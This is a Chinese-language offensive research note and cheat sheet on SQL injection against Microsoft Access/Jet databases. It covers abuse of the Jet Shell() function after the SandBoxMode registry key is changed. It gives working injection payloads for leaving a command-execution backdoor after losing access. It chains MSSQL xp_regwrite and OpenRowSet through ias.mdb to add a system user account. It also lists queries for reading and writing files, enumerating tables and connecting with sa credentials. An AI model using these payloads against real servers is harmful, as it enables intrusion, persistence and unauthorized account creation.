現在我們在腳本注入攻擊的技術中,常用的手法分好多種,最普通的是利用子查詢或者是Union聯合查詢來取得一些特殊表中的內容,比如Admin,Log表等等,這是一種純粹的對數據庫的攻擊方式,而MSSQL Server的方法則更為多樣和復雜, 當我們取得連接權限較高的注入點的時候,我們可以利用MSSQL Server本身所帶的擴展來執行命令,或者是獲取目錄,讀取文件與修改注冊表;在低權用戶的連接中,我們則可以試用差異備份, 或者干脆就是跑數據庫等方式來實現對系統的直接攻擊或者是間接的攻擊.再則則是類似于Oracle\MySQL\DB2這些非MS直接支持的數據庫關于他們,我們也有多種多樣的攻擊手法,執行命令,導出文件或讀取文件等. 以上是一些我們針對常用數據庫的攻擊方式的大體總結,不難看出,其中最雞肋的,要算是Access的數據庫了.一來在Access中,無法直接獲取數據庫中的表名和字段名稱,二來在Access中,我們能做的東西非常少, 再說也不支持多語句的SQL語法,和T-SQL的標準又有不少的區別,讓人覺得Access數據庫中僅有的Insert,Update,Select,Delte,Produce僅僅是對SQL語句的封裝而已.所以,我們依舊需要對Access進行研究. 在這篇研究筆記中,我所參考的文章和資料,有部分來自nsfocus和xFocus早在2000-2002年的文檔,另一篇則是SuperHei所發表的<關于Access的一些測試>, 大家可以在http://www.4ngel.net/安全天使安全小組的網站上查詢到.OK,廢話不要太多,我們繼續研究. 我們可以去翻看微軟在剛推出Windows 2000的時候曾經出現過幾個非常大的腳本漏洞的漏洞公告,其中比如cateloy_type.asp的遠程注入漏洞和Msadscs.dll漏洞等都涉及了與現在的攻擊手法或者是常用的利用方法極為不同的地方, 比如Catelog_type.asp的注入漏洞,它的代碼中出現的問題是這樣的: "select * from cateloy where type='" & Requset("Type") & "'" 誰都能看明白這是一個非常低級的注入漏洞,直接將Type的值放入SQL語句中查詢,并沒有估計到用戶的惡意輸入. 如果換作現在,我們基本上只有拿來跑表份,幸好MS沒設置類似PHP的gpc,否則我們將一事無成.但是我們可以查看這篇漏洞資料的利用方式,其中涉及到了一個SQL語句: Select * from Sometable where somefield='|Select Shell("cmd.exe /c dir")|' 關于這個語句的介紹,是漏洞資料中所說的,Access允許用"|"來創建VBA函數,導致命令被執行,其實這只是Access內置的一個特殊函數而已,相類似的還有cudir和Command函數.具體的我們可以在Access中測試.測試的SQL語句如下: Select Shell("cmd.exe /c dir c:\ > c:\kevin.txt") 回到C盤,我們果然看到了kevin.txt.說明語句執行成功了. 然后我們將其轉到腳本中測試吧.編寫如下的VBS腳本 Set Conn=Createobject("Adodb.Connection") Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=kevins4t.mdb" Set Rs=Conn.execute("Select Shell(""cmd.exe /c dir c:\ > c:\kevin.txt"")") Msgbox Rs(0) 這一此出現的結果很出乎我們的意料,錯誤的原因是"表達式中的'Shell'函數未定義".現在我們需要安靜下來喝杯咖啡然后思考為什么同樣的語句在不同的執行者間會出現如此截然不同的問題.一個能正常執行, 而另外一個則是找不到函數.試想微軟一定在其中的什么地方設置了一個開關,那么我們就去微軟的知識庫去了解一下. 在微軟的一篇關于沙盒模式的文檔中,我們了解到一些內容: 為了安全起見,MS在Jet引擎的Sp8中,設置了一個名為SandBoxMode的開關,這個開關是開啟一些特殊函數在另外的執行者中執行的權限的.它的注冊表位置在 HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默認是2.微軟關于這個鍵值的介紹為:0為在任何所有者中中都禁止起用安全設置,1為僅在允許的范圍之內, 2則是必須是Access的模式下(這就是為什么我們能在Access中執行成功的原因.),3則是完全開啟,連Access中也不支持. 那么好吧,我們來看看如果將值變為0將會怎樣. 這次運行我們的VBS的時候,出現的情況是一組數字,再在C盤下查看文件,果然看到了我們的kevin.txt.很神奇吧.原來Access也是可以執行命令的,只是微軟這家伙總是懶得說出來而已.但是如果在實際方面會怎樣呢? 一.后門的設置 我們的運用將會很窄.真的,一來我們需要的權限很高,起碼要到能改注冊表的權限,默認是Admin和LocalSystem,二來是我們將如何修改注冊表,遠程嗎?沒門的.所以我們只好將其當作一個后門用. 只要我們修改了注冊表的值,那么在普通的注入語句中,這是一個很不錯的后門方式,最起碼可以在外部執行一些小小的命令什么的. 比如我們在滲透某個站點的時候拿到了最高權限,并且修改了這個SandBoxMode,之后我們被管理員掃地出門了.那么,在首頁的某個地方依舊存在這一個Select的注入點,這樣最好,我們讓服務器執行如下的SQL就行了. InjectionURL' and 0<>(select shell("cmd.exe /c net user > c:\inetpub\wwwroot\kevins4t.txt")) 這樣我們就可以一步一步的將重新服務器拿下. 二.遠程攻擊 這將是一個很有意思的話題.首先我們必須有修改注冊表的權限,二是有修改注冊表的條件,三是可以執行SandboxMode的環境,必須三樣同時滿足才行,到底是在什么情況下呢? 我們知道,我們平時在雜志上看到的文章,很多的無非就是在一個以Sa連接的InjectionURL中苦苦掙扎,一是執行命令,如果去掉了擴展或者是將擴展需要的DLL移走,我們將一無所用.那么聰明的你是否想到了方法? 我們知道,只有Sa的權限才有可能去打開另外一個Access的連接的,當我們滿足了打開Access的條件的同時,我們也滿足了修改注冊表的條件和權限,因為MSSQL有一個名為xp_regwrite的擴展,它的作用是修改注冊表的值.語法如下 exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value 那我們只要將SandBoxMode修改為0或者1就成功了.然后則是MSSQL的OpenRowSet函數,它用于打開一個特殊的數據庫或者連接到另一個數據庫之中.當我們具備SysAdmin的權限的時候,我們就可以做到打開Jet引擎.那么我們只要連接到一個Access數據庫中, 然后執行命令就可以了.但是關鍵的問題是如何尋找這個Access數據庫. 關于這個問題我以前想了很多,一開始是想,利用目錄便歷來查詢數據庫的位置.但是這種方法成功率不會很高,有的時候我們碰到很多的站點都設置了非常好的權限,無法找到MDB數據庫.這是最為煩惱的地方. 不過后來我想到了一些前人用過的方式,系統里本來就有2-3個現存的數據庫嘛,何必費神的去找呢?它們的位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\dnary.mdb這樣一來,我們有了執行宿主,就沒什么好怕的了.執行一下我們所需要的命令吧 InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user kevin 1986 /ad")');-- 這樣,我們就執行了命令了.而且繼承的是MSSQL的LocalService的System權限.
--------------------------------------------------------------------------------------------------------------------------------------------------------
用戶表 SELECT Name FROM msysobjects WHERE Type = 1 and flags=0 所有表 SELECT Name FROM msysobjects WHERE Type = 1
判斷版本: SELECT NULL FROM MSysModules2 '97 SELECT NULL FROM MSysAccessObjects '97 2000 SELECT NULL FROM MSysAccessXML '2000 2002-2003 SELECT NULL FROM MSysAccessStorage '2002-2003 2007
SandBoxMode: SandBoxMode的開關,這個開關是開啟一些特殊函數在另外的執行者中執行的權限的.它的注冊表位置在 HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默認是2. 微軟關于這個鍵值的介紹為:0為在任何所有者中中都禁止起用安全設置,1為僅在允許的范圍之內, 2則是必須是Access的模式下(這就是為什么我們能在Access中執行成功的原因.),3則是完全開啟,連Access中也不支持.
執行命令: Select Shell("cmd.exe /c dir c:\ > c:\kevin.txt")
讀文件 SELECT * FROM [TEXT;DATABASE=c:\;HDR=NO;FMT=Delimited].[kevin.txt]
寫文件:【不能在子查詢和UNION查詢中,實用價值不大】 SELECT "text to write" into [TEXT;DATABASE=c:\;HDR=NO;FMT=Delimited].[kevin1.txt]
當前路徑:sandboxing enable select curdir() from msysaccessobjects select dir('c:\ ') from msysaccessobjects select environ(1) from msysaccessobjects select filedatetime('c:\boot.ini') from msysaccessobjects select filelen('c:\boot.ini') from msysaccessobjects select getattr('c:\ ') from msysaccessobjects select shell('cmd.exe /c dir c:\ > c:\kevin.txt') from msysaccessobjects
跨文件查詢: SELECT * FROM dv_address IN 'D:\dailian\bbs\Dvbbs8.2.0_Ac\Data\IPaddress.mdb'
連接MSSQL: SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=(local);UID=sa;PWD=2853wang; DATABASE=master].Information_Schema.Tables |